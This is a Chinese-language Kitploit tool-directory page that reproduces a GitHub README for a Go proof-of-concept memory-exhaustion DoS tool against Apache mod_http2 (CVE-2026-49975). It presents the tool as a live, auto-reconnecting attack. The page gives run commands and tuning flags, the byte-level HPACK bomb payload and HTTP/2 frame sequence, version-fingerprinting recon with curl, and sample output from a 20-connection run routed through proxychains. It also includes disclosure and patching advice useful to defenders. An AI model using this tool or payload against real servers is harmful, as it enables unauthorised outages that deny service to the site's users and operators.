Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/naheeju/poc-cve-2026-49975
漏洞分析漏洞利用Web安全网络安全
GitHubnaheeju/poc-cve-2026-49975

POC-CVE-2026-49975

针对 CVE-2026-49975 的安全研究 PoC:Apache mod_http2 中的 HTTP/2 HPACK 压缩炸弹 + 流控保持 DoS

查看仓库
7小时37分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Go Version Status Scope CVSS License

CVE-2026-49975

HTTP/2 Bomb — HPACK 压缩炸弹 + 流控保持 PoC

由 naheeju 进行的安全研究 PoC


⚠️ 这是一个可用的内存耗尽型 DoS 工具——不是玩具。 它会打开流,迫使目标分配内存,并通过 HTTP/2 流控技巧保持这些流处于打开状态。只要进程在运行,它就会持续保持连接,并在服务器断开连接时自动重连——它不会自行停止。影响程度直接取决于 --threads、--streams 和 --headers。停止进程(Ctrl+C)会释放被保持的流,让服务器得以恢复,但默认操作方式绝非"温和"——请将每次运行都视为实弹测试。


1. 概述

CVE-2026-49975("HTTP/2 Bomb")是一个远程、无需认证的拒绝服务漏洞,影响 Apache HTTP Server 的 mod_http2 模块。它串联了两个早已为人所知的 HTTP/2 弱点:

  1. HPACK 记账炸弹 —— 一个很小的、经 HPACK 编码的 HTTP/2 请求会导致多个 Cookie 头片段被合并,却不计入 LimitRequestFields,迫使服务器反复为内部头部记账结构分配内存。
  2. 流控停滞(Slowloris 式) —— 客户端通告一个接近零的流控窗口,延迟响应传输并保持受影响的流处于打开状态,从而阻止已分配的内存被释放。

结果:一个使用普通连接的单一客户端,只要保持流打开,就能迫使目标持续进行大量内存分配。本实现支持两种载荷模式,并随你配置的并发数线性扩展:

  • nginx 模式 —— 在 HPACK 动态表中植入一个空的 x-bomb 头,并反复引用它(每次引用约 70:1 放大)。
  • classic 模式 —— 改为植入一个超大 cookie 头(每次引用约 4000:1 放大)。

每个连接在每个流中反复引用植入的头数千次(--headers,默认 5000),每个连接有多个流(--streams,默认 10),并有多个并行连接(--threads,默认 1)。如果服务器关闭连接,该工具会立即重连并继续,直到被手动停止——这是一个持续保持循环,而非一次性探测。

其他受影响技术栈的相关标识符(本仓库未实现或测试):

  • Envoy → CVE-2026-47774
  • Microsoft IIS、Cloudflare Pingora → 单独跟踪,此处未引用 CVE

为完整起见,底层弱点类别的完整范围 —— "HTTP/2 Bomb"技术(HPACK 压缩炸弹 + 流控保持)影响 Apache 之外的多个服务器实现。本仓库仅实现并测试 Apache 案例;其余内容列出是为了让读者理解更广泛的类别,而非因为本 PoC 会触发它们:

参考资料(主要来源——请独立核实所有声明):

  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-49975
  • NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2026-49975
  • Apache 公告 / 漏洞列表:https://httpd.apache.org/security/vulnerabilities_24.html
  • Apache 2.4.68 变更日志(修复提交参考):https://dlcdn.apache.org/httpd/CHANGES_2.4.68
  • 原始发现文章:https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb

2. 本仓库范围

本仓库包含:

  • 一个最小化 PoC 脚本,可针对你获授权测试的目标复现仅保持型的 HPACK 炸弹行为。
  • 本 README,记录该漏洞、披露时间线及安全使用条件。

本仓库不包含:

  • 任何用于扫描互联网上易受攻击主机的自动化工具。
  • 任何洪水/DoS 持续逻辑、并发爬升或凭据/目标列表。
  • 任何默认针对特定在线系统的代码。目标必须由操作者明确提供。

3. ⚖️ 法律与道德声明

在做任何事之前请先阅读本节。

  • 本 PoC 严格出于教育和防御性安全研究目的发布——帮助运维人员验证自身暴露情况,并支持对一个已披露、已修补漏洞的公开记录。
  • 在针对任何非你自有基础设施、或非你合同/法律授权测试的系统(例如已签署的渗透测试委托、漏洞赏金范围或书面许可)运行本工具之前,你必须获得系统所有者明确、有记录的授权。
  • 针对你不拥有或未获授权测试的系统——包括但不限于政府机构、执法部门、关键基础设施或任何第三方生产系统——未经许可运行本 PoC 在大多数司法管辖区均属违法(在印度尼西亚,这属于 UU ITE 范畴),在其他地方可能构成刑事犯罪。
  • 本仓库的作者:
    • 对本代码的滥用不承担任何责任。
    • 不纵容使用本 PoC 在未经授权的情况下干扰、降级或拒绝任何系统的服务。
    • 按原样提供本代码,不附带任何形式的保证。
  • 如果你是因系统被测试而发现本仓库的厂商、机构或系统运维人员:请参阅第 6 节——披露时间线,了解此漏洞是如何报告及报告给谁的。

下载、克隆或执行本仓库中的任何代码,即表示你同意:你独自负责确保拥有适当授权,并对你的使用承担全部法律责任。


4. 侦察方法

CVE-2026-49975 仅适用于同时满足第 1 节两项条件的目标——可通过 HTTP/2 访问且运行处于受影响范围内的易受攻击 mod_http2 版本(2.4.17 ≤ 版本 ≤ 2.4.67,默认配置)。对目标的 HTTPS 端口执行简单的 curl -vkI 就足以检查这两项——无需扫描器或额外参数:

root@kitploit:~
curl -vkI https://<target>

输出中需要关注的内容:

  • ALPN: server accepted h2 —— 服务器为此连接协商了 HTTP/2。这是 CVE-2026-49975 的前提条件,因为该漏洞存在于 mod_http2 中;在此处从未接受 h2 的服务器不是候选目标。
  • Server 响应头(在 -v 输出更下方、HEAD 响应头打印后可见)—— 这是用来对照第 1 节中的受影响范围确认或排除实际 Apache/mod_http2 版本的依据。仅凭 ALPN 接受不能确认版本——仍需 Server 头或等效的 banner 检查。

本仓库的侦察不使用除此之外的任何手段——没有主动利用流量、没有漏洞扫描器、没有端口扫描。


5. 要求

  • 运行时: Go 1.26+(模块:cve202649975)
  • 依赖: golang.org/x/net v0.59.0(通过 go build 自动解析)
  • 网络访问: 在指定端口上对获授权目标的直接 TCP 可达性(默认 443,默认 TLS/h2;--no-ssl 用于明文 h2c)
  • 可选: proxychains4 —— 如果二进制在 proxychains4 下启动,它会检测到 LD_PRELOAD 包装器,读取相同的 proxychains4.conf,并通过该 SOCKS5 代理(远程 DNS 解析)路由自身连接——当委托范围要求从特定出口路径测试时很有用
  • 权限: 针对被测目标的书面授权 / 委托书

6. 披露时间线

CVE-2026-49975 本身的公开时间线:2026-05-26 报告给 Apache;2026-05-27 修复在上游 mod_h2 中落地;2026-06-02 合并到 httpd 2.4.x 分支;Apache HTTP Server 2.4.68 于 2026-06-08 发布。


7. 用法

仅针对你明确获授权测试的目标运行本工具。没有内置的持续时间限制或安全模式——运行时长和并发数由你负责。

构建:

root@kitploit:~
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos   (see build.sh)

运行:

root@kitploit:~
./dos <target> <port> [flags]

示例,最小化授权实验室测试:

root@kitploit:~
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx

预期行为:

  • 在发送任何内容之前打印预检摘要(目标、模式、连接/流数量、估计的服务器端内存)。
  • 通过 1 字节的 WINDOW_UPDATE 滴流和周期性 ping 保持流打开;如果服务器关闭连接,会自动重连并重复。
  • 仅在你发送 Ctrl+C / SIGTERM 时停止——请相应规划测试窗口,并实时监控目标内存。
  • 建议:在任何授权生产测试之前,先用较低的 --streams/--headers 在预发布/实验室环境中验证,并且无论如何都要为目标服务准备好回滚/重启方案。

7a. RAM 压力估算

本工具两种模式的粗略服务器端内存公式(仅限 Apache mod_http2——关于 nginx/classic 如何对应放大比例,请参阅第 1 节):

root@kitploit:~
total_streams   = threads × streams
server_ram_MB   ≈ total_streams × headers × amplification_bytes / 1024²

# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
#   1 × 10 × 5000 × 70 / 1024²  ≈ 3.3 MB held

# classic mode (~4000 bytes/ref), defaults:
#   1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held

将 threads/streams/headers 调高,数字会线性增长——这就是为什么授权实验室测试应从低值开始(见第 7 节),然后再进行任何生产范围运行。


7b. 技术细节

本节记录本特定 PoC 针对 Apache mod_http2 实现的机制——它不适用于其他服务器实现,那些超出本仓库范围(见第 2 节)。

HPACK 动态表种子(增量索引,在索引 62 处添加条目):

root@kitploit:~
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00              (nginx-mode seed: empty value)

对该条目的索引引用(每个 1 字节,重复 --headers 次):

root@kitploit:~
0x80 | 62 = 0xbe

每个连接的 HTTP/2 帧序列:

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n        (connection preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]         (flow-control stall setup)
  SETTINGS ACK                             (after reading server SETTINGS)
  HEADERS [stream 1]  ← HPACK bomb payload
  HEADERS [stream 3]  ← HPACK bomb payload
  ...                                      (up to --streams per connection)
  WINDOW_UPDATE(1) per stream, periodically   (keeps the stall alive)

线上开销很小,且每个流基本固定(种子几个字节 + 每次引用 1 字节);服务器端分配才是增长不成比例的部分——这个差距就是漏洞所在。


7c. 示例输出

来自一次授权实验室运行的输出,classic 模式,20 个连接 × 30 流/连接,5000 HPACK 引用/流,通过 proxychains 路由:

root@kitploit:~
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
root@kitploit:~
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


 ██╗  ██╗██████╗     ██████╗  ██████╗ ███╗   ███╗██████╗
 ██║  ██║╚════██╗    ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
 ███████║ █████╔╝    ██████╔╝██║   ██║██╔████╔██║██████╔╝
 ██╔══██║██╔═══╝     ██╔══██╗██║   ██║██║╚██╔╝██║██╔══██╗
 ██║  ██║███████╗    ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
 ╚═╝  ╚═╝╚══════╝    ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═════╝

  CVE-2026-49975  —  HTTP/2 Bomb PoC  (HPACK bomb + flow-control hold)
  Go PoC by naheeju  ·  originally discovered by Calif.IO  ·  authorized testing only
──────────────────────────────────────────────────────────────────
  Run configuration
  Target           domain.com:443
  Mode             classic (~4000:1 amplification)
  Connections      20
  Streams/conn     30
  Total streams    600
  HPACK refs/str   5000
  Est. server RAM  ~11444 MB
  Proxychains      yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
  [~] Opening connection #1...
  ...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  ... (one line per connection as it finishes opening its 30 streams)

每个连接在打开流时独立报告其自身的本地 RAM 贡献(在这些设置下每个连接约 572 MB);预检的 Est. server RAM 数字是所有 20 个连接的合计(约 11.4 GB),前提是每个连接都完全打开并保持。

上面的 domain.com 是占位符——在记录你自己的运行时请替换为实际获授权目标,如果委托是保密的,请将其隐去。


8. 修复

  • Apache HTTP Server: 升级到 httpd 2.4.68 或更高版本(这是包含修复的版本)。
  • 如果无法立即修补:
    • 保守地设置 LimitRequestFields 并监控头部合并行为。
    • 考虑在修补前禁用受影响监听器上的 HTTP/2。
    • 在服务前放置强制硬性头部数量上限的反向代理/WAF。
  • 修复后重新测试,确认保持并释放行为不再导致持续内存增长。

9. 致谢 / 归属

原始漏洞发现及向 Apache 的披露(与本仓库或其作者无关):

  • Quang Luong,Calif.IO,与 OpenAI Codex 合作
  • 于 2026-05-26 报告给 Apache HTTP Server 项目;官方致谢行发布于 2.4.68 变更日志

本仓库(Go 重新实现,在公开修复落地后编写并测试):

  • 作者:naheeju
  • 基于公开漏洞描述和补丁 diff 构建的独立 PoC,用于针对授权目标的验证/教育目的。与原始发现、Calif.IO 或 Apache 安全团队无关联。

关于本特定 PoC 的问题、更正或与负责任披露相关的疑虑:请在本仓库提交 issue。

许可证: MIT(仅限本仓库代码——见 LICENSE)。不延伸至、也不暗示原始发现者或 Apache Software Foundation 的认可。

下载工具
实现状态本 PoC 中是否实现?
Apache HTTP Server mod_http2已在 httpd 2.4.68 中修复(2026-06-08)是——本仓库
nginx已在 1.29.8 中修复否
Envoy单独跟踪否
Microsoft IIS单独跟踪否
Cloudflare Pingora单独跟踪否
CVECVE-2026-49975
CWECWE-789(按 NVD/CVE.org 为过大尺寸值的内存分配);部分厂商也将其跟踪为 CWE-409(高度压缩数据处理不当)
CVSS7.5(高)—— CVSS v3.1,仅可用性向量(按 NVD)。Apache 自己的公告将其评为 Moderate。
受影响组件Apache HTTP Server mod_http2
受影响版本Apache httpd 2.4.17 ≤ 版本 ≤ 2.4.67(默认 HTTP/2 配置)
修复于Apache HTTP Server 2.4.68(2026-06-08 发布)。底层修复于 2026-05-27 在上游 mod_h2 中落地,2026-06-02 合并到 httpd 2.4.x 分支,随 2.4.68 版本发布。
攻击类型拒绝服务——内存耗尽(仅可用性)
是否需要认证否
数据泄露 / RCE无——仅影响可用性
已知被利用目前未被跟踪来源标记为已知在野利用。
参数默认值描述
--threads N1并行连接数
--streams N10每个连接打开的流数
--headers N5000每个流的 HPACK 动态表引用次数(放大驱动因素)
--mode nginx|classicnginxnginx = 空头记账炸弹(约 70:1);classic = 胖 cookie 炸弹(约 4000:1,匹配本 CVE 所跟踪的 Apache mod_http2 Cookie 合并机制)
--no-ssl关闭使用明文 h2c 而非 TLS